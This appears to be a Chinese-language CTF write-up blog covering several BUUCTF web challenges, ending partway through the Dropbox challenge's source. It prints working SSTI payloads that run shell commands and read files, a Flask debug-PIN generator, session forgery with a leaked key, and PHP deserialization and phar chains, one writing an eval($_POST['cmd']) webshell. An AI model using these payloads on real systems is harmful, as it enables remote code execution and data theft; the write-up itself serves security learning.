Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

测试ssti漏洞,输入4146

确定存在ssti,现在测试模板引擎,输入4,返回任然为

146

确定模板引擎为Twig,Twig注入存在固定playload:

1
2
3
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}//查看id

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag

[GYCTF2020]FlaskApp

这道题不按预期解来做还是比较简单的

这里经过测试是可以发现存在ssti漏洞,在解码页面随便输入一下,可以打开debug模式(即可以看到具体错误信息)

178

这里可以看一下源文件

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

进行编码后再解码

179

180

这里看到过滤的其实很简单,直接进行绕过即可

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

这里我又去看了一下预期解,预期解使用debug的pin进行交互

所以这里就需要简单解释一下pin码这个东西

Flask 如果在生产环境中开启 debug 模式,就会产生一个交互的 shell ,可以执行自定义的 python 代码,在较旧版本中是不用输入 PIN 码就可以执行代码,在新版本中需要输入一个 PIN 码

PIN主要由 probably_public_bitsprivate_bits 两个列表变量决定,而这两个列表变量又由如下6个变量决定:

  • username 启动这个 Flask 的用户
  • modname 一般默认 flask.app
  • getattr(app, '__name__', getattr(app.__class__, '__name__')) 一般默认 flask.app 为 Flask
  • getattr(mod, '__file__', None)为 flask 目录下的一个 app.py 的绝对路径
  • str(uuid.getnode()) 则是网卡 MAC 地址的十进制表达式
  • get_machine_id() 系统 id

liunx下PIN码获取

uaername 可以从 /etc/passwd 中读取

app.py 的绝对路径,这个值可以在报错页面看到

MAC地址 /sys/class/net/eth0/address 或者 /sys/class/net/ens33/address

系统 id 只要从 /etc/machine-id、/proc/sys/kernel/random/boot_id 中读到一个值后立即 break,然后和/proc/self/cgroup 中的id值拼接

这里贴一个连接具体解释PIN码的生成和获取

https://xz.aliyun.com/t/8092?time__1311=n4%2BxuDgDBADQYiKP40HwbDyi8eG%3DDcA7nmgEYD&alichlgref=https%3A%2F%2Fblog.csdn.net%2Fmochu7777777%2Farticle%2Fdetails%2F132741209#toc-2

然后通过文章中的脚本进行生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib
from itertools import chain
probably_public_bits = [
'root'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]

private_bits = [
'52228526895',# str(uuid.getnode()), /sys/class/net/ens33/address
'75d03aa852be476cbe73544c93e98276'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

我们通过漏洞可以获得

182

183

184

181

可以分别获得几个我们所需要的值,然后我们运行脚本即可获得PIN码,输入即可开启交互shell

185

[CISCN2019 总决赛 Day1 Web3]Flask Message Board

写这一题前,我先记录一点东西,因为正好自己要写一个前后端的登录,需要用到session,这题又恰好用到session

flask session伪造

session的作用

由于http协议是一个无状态的协议,也就是说同一个用户第一次请求和第二次请求是完全没有关系的,但是现在的网站基本上有登录使用的功能,这就要求必须实现有状态,而session机制实现的就是这个功能。
用户第一次请求后,将产生的状态信息保存在session中,这时可以把session当做一个容器,它保存了正在使用的所有用户的状态信息;这段状态信息分配了一个唯一的标识符用来标识用户的身份,将其保存在响应对象的cookie中;当第二次请求时,解析cookie中的标识符,拿到标识符后去session找到对应的用户的信息

flask session的储存方式

第一种方式:直接存在客户端的cookies中

第二种方式:存储在服务端,如:redis,memcached,mysql,file,mongodb等等,存在flask-session第三方库

flask的session可以保存在客户端的cookie中,那么就会产生一定的安全问题

flask的session格式

flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) . 时间戳 . 签名组成的

1
2
eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Y48ncA.H99Th2w4FzzphEX8qAeiSPuUF_0
session数据 时间戳 签名

时间戳:用来告诉服务端数据最后一次更新的时间,超过31天的会话,将会过期,变为无效会话

签名:是利用Hmac算法,将session数据和时间戳加上secret_key加密而成的,用来保证数据没有被修改

flask session伪造

flask session是利用hmac算法将session数据,时间戳加上secert_key成的,那么我们要进行session伪造就要先得到secret_key,当我们得到secret_key我们就可以很轻松的进行session伪造

伪造工具:https://github.com/noraj/flask-session-cookie-manager

这道题进去可以看到有三个输入框,题目名是flask,测试ssti,在Author处存在SSTI,但这里存在过滤

186

这里需要对其他几个输入框同时进行输入,完成ssti注入可以看到

187

这里存在 'SECRET_KEY': 'I|1|i1IllIl|iiIiI1|ll1il|1II|l||Iili|ilI',可以发现需要利用session伪造,session数据直接base64解码看到格式,直接利用工具构造session伪造

188

完成session伪造后可以登录到一个文件上传页面

189

随意上传一个文件后可以看到需要上传一个zip file

这里查看网页源码可以看到一些提示

1
2
<a href="/admin/source_thanos">Open Source</a> 获得源码
Todo: add /admin/model_download button 下载模型

打开后源码是一堆乱七八糟的东西,看起来是被打乱了…..之后就看不懂了

[极客大挑战 2019]PHP

147

提示存在备份文件,这里用dirsearch去扫一下

1
2
3
4
dirsearch基础使用:
python dirsearch.py -u http://1dac9079-66d1-478c-ba14-d40749552.node5.buuoj.cn:81/ -e php
-u url
-e 指定需要扫描文件名 (-e *及为所有)

发现一个www.zip的备份文件,直接在url拼接下载,打开压缩包发现存在一个假的flag,看另外两个文件class.php和index.php

1
2
3
4
5
6
index.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

include 'flag.php';


error_reporting(0);


class Name
{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username, $password)
{
$this->username = $username;
$this->password = $password;
}

function __wakeup()
{
$this->username = 'guest';
}

function __destruct()
{
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;
echo "</br>";
echo "You password is: ";
echo $this->password;
echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
} else {
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}

index.php文件包含class.php,对整体代码进行审计,index.php中以get方式传入一个select参数,并对其进行反序列化,而class.php中则需要是username=admin password=100 再执行__destruct()即可获得flag

1
2
$Name = new Name('admin', 100);
echo urlencode(serialize($Name));

进行构造后发现需要绕过__wakeup()方法,这里只需要将当前属性个数大于实际属性个数即可

1
2
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} (方便理解不用url加密展示)

[NPUCTF2020]ReadlezPHP

148

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

echo $b($a) 尝试$b赋值为函数,$a赋值为命令

1
2
$this->a = "phpinfo()";
$this->b = "system";

发现无法正确显示,这里需要用assert

1
bool assert ( mixed $assertion [, Throwable $exception ] )

assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行,手动搭建后门

[EIS 2019]EzPOP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
<?php
error_reporting(0);

class A {

protected $store;

protected $key;

protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}

public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}

public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);
}

public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);
}

public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}

class B {

protected function getExpireTime($expire): int {
return (int) $expire;
}

public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}

protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}

$serialize = $this->options['serialize'];

return $serialize($data);
}

public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

if ($result) {
return true;
}

return false;
}

}

if (isset($_GET['src']))
{
highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
1
2
array_intersect_key($object, $cachedProperties)
比较$object, $cachedProperties键名返回两个集合的交集,以第一个参数为优先
1
array_flip 反转键值对
1
2
大体pop链:
B::set() <- A::save() <- A::__destruct()
1
2
3
4
if (!$this->autosave) {
$this->save();
}
$this->autosave=false;
1
2
$this->store->set($this->key, $contents, $this->expire);
将$this->store = new B();

这题重点

1
2
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

需要绕过exit()从而实现对file_put_contents函数的执行

这里引用一篇文章谈一谈php://filter的妙用

由于进行base64编码后字符串字节数都为4的倍数,防止自动添加的字符对命令产生影响,对执行的命令进行base64加密后手动补齐至4的倍数(表中字符只有[a-zA-z0-9+/],其他字符是不在编码范围内的)

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
error_reporting(0);

class A {

protected $store;

protected $key;

protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null) {
$this->store = new B();
$this->key = "flag.php";
$this->cache=array();
$this->expire = null;

$this->autosave=false;
$this->complete=base64_encode("xxx".'PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4');//<?php @eval($_POST['cmd']);?>
}
}

class B {
public $options=array();
public function __construct(){

$this->options['data_compress']=false;
$this->options['serialize']="base64_decode";
$this->options['prefix']='php://filter/write=convert.base64-decode/resource=';
}
}

$A=new A();
echo urlencode(serialize($A));
?>

传输成功后访问设定的文件,即可进行查找

149

[网鼎杯 2020 青龙组]AreUSerialz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

这里思路挺简单的,只需要进入read()方法进行文件读取即可

1
2
3
4
if ($this->op == "1") {
$this->write();
} else if ($this->op == "2") {
$res = $this->read();
1
2
3
4
5
6
7
function __destruct()
{
if ($this->op == "2")
$this->op = "1";
$this->content = "";
$this->process();
}

$this->op == “2”此处判断为弱判断,只需要至相等即可,$this->op == “2”为强判断不仅需要值相等,而且数据类型也需要相等,所以这里就只需要将op=2即可绕过进入read()方法

1
2
3
4
5
6
7
function is_valid($s)
{
for ($i = 0; $i < strlen($s); $i++)
if (!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

这里只能保留ascii码在32到125之间的字符,所以protected进行序列化后的会被过滤,由于php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可

150

[网鼎杯 2020 朱雀组]phpweb

进入网页发现每隔一段时间就会出现一段报错信息,说明网页一直在刷新,抓包看一下上传的东西

151

上传func和p两个变量,猜测func上传方法,p上传命令,尝试func处上传system,p处上传ls,发现无法显示,应该是被过滤了,这里就先去找源码

1
func=file_get_contents&p=php://filter/read=convert.base64-encode/resource=index.php

通过进行base64解码后爆出全部源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

$disable_fun = array("exec", "shell_exec", "system", "passthru", "proc_open", "show_source", "phpinfo", "popen", "dl", "eval", "proc_terminate", "touch", "escapeshellcmd", "escapeshellarg", "assert", "substr_replace", "call_user_func_array", "call_user_func", "array_filter", "array_walk", "array_map", "registregister_shutdown_function", "register_tick_function", "filter_var", "filter_var_array", "uasort", "uksort", "array_reduce", "array_walk", "array_walk_recursive", "pcntl_exec", "fopen", "fwrite", "file_put_contents");
function gettime($func, $p)
{
$result = call_user_func($func, $p);
$a = gettype($result);
if ($a == "string") {
return $result;
} else {
return "";
}
}

class Test
{
var $p = "Y-m-d h:i:s a";
var $func = "date";

function __destruct()
{
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}

$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func, $disable_fun)) {
echo gettime($func, $p);
} else {
die("Hacker...");
}
}

这里可以看到过滤了很多东西,仔细看了一下serialize和unserialize这些并没有被过滤,所以我们构造反序类化进行绕过

1
2
3
4
5
6
$Test=new Test();
//$Test->p="cd /;ls";
//$Test->p="find / -name 'flag*'"
$Test->p="cat /tmp/flagoefiu4r93";
$Test->func='system';
echo serialize($Test);
1
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

[安洵杯 2019]easy_serialize_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

extract() 函数从数组中将变量导入到当前的符号表。

这里整体思路还是比较好理解的,提示phpinfo里有提示,先去看一下

152

发现一个 d0g3_f1ag.php,这里应该就是要读取这个文件,也就是要使$userinfo[‘img’]= d0g3_f1ag.php,而$userinfo由$serialize_info反序列化而成,$serialize_info是$_SESSION经过序列化和过滤而成

1
2
3
4
5
if (!$_GET['img_path']) {
$_SESSION['img'] = base64_encode('guest_img.png');
} else {
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

由于SHA1为一种单向加密算法,加密过程不可逆,相当于必须执行$_SESSION[‘img’] = base64_encode(‘guest_img.png’) ,所以这里就需要用到反序列化字符逃逸

1
2
3
4
5
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

这个就直接构造

1
2
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'

但由于$_SESSION[‘img’]会被系统赋值,如果变量数量不对应会产生错误,所以在 $_SESSION[‘function’] 后面手动再添加一个变量

1
2
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:5:"jijoy";s:8:"Oliveria";}';

存在extract()函数,所以直接进行传参即可,这里会发现flag in /d0g3_fllllllag,那直接构造

1
2
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:5:"jijoy";s:8:"Oliveria";}';

[SWPUCTF 2018]SimplePHP

查看文件处存在 ‘ file= ‘,可能存在任意文件读取,根据已有页面和提示,找出需要源码

1
2
3
4
5
index.php
<?php
header("content-type:text/html;charset=utf-8");
include 'base.php';
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
base.php
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>web3</title>
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="index.php">首页</a>
</div>
<ul class="nav navbar-nav navbra-toggle">
<li class="active"><a href="file.php?file=">查看文件</a></li>
<li><a href="upload_file.php">上传文件</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
</ul>
</div>
</nav>
</body>
</html>
<!--flag is in f1ag.php-->
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

读取flag.php时

153

无法读取flag.php文件,这里就大致审阅一下代码,有用的应该时class.php

1
2
$text = base64_encode(file_get_contents($value));
return $text;

这里需要进行反序列化,但又不存在unserialize(),这里就需要引入一个新的点phar反序列化,

phar

phar需要进行文件操作才能被调用

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='hu3sky';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

访问后会在当前目录下生成一个phar文件

构造pop链

1
C1e4r::destruct() --> Show::toString() --> Test::__get() 
1
2
3
4
5
6
7
8
9
10
11
12
13
$C1e4r=new C1e4r();
$Show=new Show();
$Test=new Test();
$C1e4r->str=$Show;
$Show->str['str']=$Test;
$Test->params['source']="/var/www/html/f1ag.php";
@unlink("test.phar");
$phar=new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($C1e4r);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

文件上传存在白名单,所以将test.phar改为test.jpg后上传,发现他没有显示上传地址,但这里看了一下,可以直接查看他的上传目录

154

这里可以看到上传的图片名称,通过phar伪协议进行访问

1
http://87f06123-a7ce-400d-9f7d-d18d2ebb109c.node5.buuoj.cn:81/file.php?file=phar://upload/99ec482ac24298f5f9beb8fc232500f6.jpg

155

进行base64解码即可

[CISCN2019 华北赛区 Day1 Web1]Dropbox

打开后为登录界面,注册账号,这里上传一个图片试一下,发现这个可以被下载,这里看了一下wp,存在任意文件下载(上传的文件是放在网站主目录/sandbox/hash目录下的,所以要想下载源码php文件必须跳转到上级目录。如想下载index.php源码许这样填写:filename=../../index.php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
login.php
<?php
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?>

<?php
include "class.php";

if (isset($_GET['register'])) {
echo "<script>toast('注册成功', 'info');</script>";
}

if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && $u->verify_user($username, $password)) {
$_SESSION['login'] = true;
$_SESSION['username'] = htmlentities($username);
$sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
if (!is_dir($sandbox)) {
mkdir($sandbox);
}
$_SESSION['sandbox'] = $sandbox;
echo("<script>window.location.href='index.php';</script>");
die();
}
echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
register.php
<?php
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?>
<?php
include "class.php";

if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && strlen($username) > 2 && strlen($password) > 1) {
if ($u->add_user($username, $password)) {
echo("<script>window.location.href='login.php?register';</script>");
die();
} else {
echo "<script>toast('此用户名已被使用', 'warning');</script>";
die();
}
}
echo "<script>toast('请输入有效用户名和密码', 'warning');</script>";
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = new FileList() ;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
